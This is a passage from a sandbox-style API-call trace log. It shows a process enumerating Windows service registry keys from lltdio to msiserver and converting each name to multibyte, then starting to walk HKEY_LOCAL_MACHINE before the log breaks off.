lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0251.124] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0251.124] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0251.124] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0251.125] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0251.125] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0251.125] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0251.125] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0251.125] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0251.125] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0251.125] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0251.130] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0251.130] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x1de4768, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0251.130] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0251.130] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0251.130] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0251.131] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0251.131] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0251.131] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0251.131] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x1de4450, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0251.131] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0251.131] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0251.132] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0251.132] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0251.132] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0251.132] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0251.132] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0251.132] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0251.132] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0251.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0251.133] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0251.133] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x1de4768, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0251.133] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x1de4450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0251.133] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0251.133] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0251.133] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0251.134] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0251.134] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x1de4768, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0251.134] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0251.134] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0251.134] RegCloseKey (hKey=0x154) returned 0x0 [0251.134] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.134] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0251.134] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, 